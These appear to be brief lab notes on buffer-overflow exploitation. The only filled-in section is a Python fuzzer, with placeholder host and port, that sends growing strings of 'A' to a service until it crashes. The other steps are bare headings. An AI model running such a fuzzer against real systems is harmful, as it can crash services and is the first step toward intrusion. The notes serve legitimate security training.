Buffer Overflow
Fuzzing
import socket, time, sys
ip = "<IP>"
port = <PORT>
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)Finding Crash Point
Finding Bad Characters
Jump Point
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